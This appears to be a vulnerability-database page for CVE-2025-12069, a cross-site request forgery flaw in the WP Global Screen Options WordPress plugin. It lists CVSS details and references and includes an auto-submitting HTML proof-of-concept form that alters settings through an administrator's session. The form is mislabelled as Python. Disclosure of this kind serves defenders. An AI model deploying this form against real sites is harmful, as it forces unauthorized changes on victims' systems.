CVE-2025-12069

Description

The WP Global Screen Options plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.2. This is due to missing nonce validation on the `updatewpglobalscreenoptions` action handler. This makes it possible for unauthenticated attackers to modify global screen options for all users via a forged request granted they can trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Global Screen Options plugin <= 0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12069 -->
<!-- This PoC demonstrates the CSRF vulnerability in WP Global Screen Options plugin -->
<!-- It modifies global screen options for all users -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-12069</title>
</head>
<body>
    <h1>CVE-2025-12069 CSRF PoC</h1>
    <p>This page will automatically submit a CSRF attack.</p>
    
    <!-- Auto-submit form to exploit CSRF vulnerability -->
    <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="updatewpglobalscreenoptions">
        <input type="hidden" name="wpglobalscreenoptions" value="malicious_option_value">
        <input type="hidden" name="screen_options[]" value="hidden">
        <input type="hidden" name="screen_layout" value="2">
    </form>
    
    <script>
        // Automatically submit the form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <!-- Alternative: URL-based CSRF attack -->
    <!-- 
    <a href="http://target-wordpress-site/wp-admin/admin-post.php?action=updatewpglobalscreenoptions&wpglobalscreenoptions=malicious">Click me</a>
    -->
</body>
</html>

<!-- 
Notes:
- Replace 'target-wordpress-site' with the actual target URL
- The attacker needs to trick a logged-in administrator into visiting this page
- The request will be executed with the administrator's privileges
- No nonce validation is performed by the vulnerable plugin
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12069
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12069
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12069/
[4] VulDB https://vuldb.com/cve/CVE-2025-12069
[5] https://plugins.trac.wordpress.org/browser/wp-global-screen-options/tags/0.2/wp_global_screen_options.php#L16
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/dae86d7c-3bbb-4872-acd7-08ff8d437b8e?source=cve

Raw JSON Data

JSON

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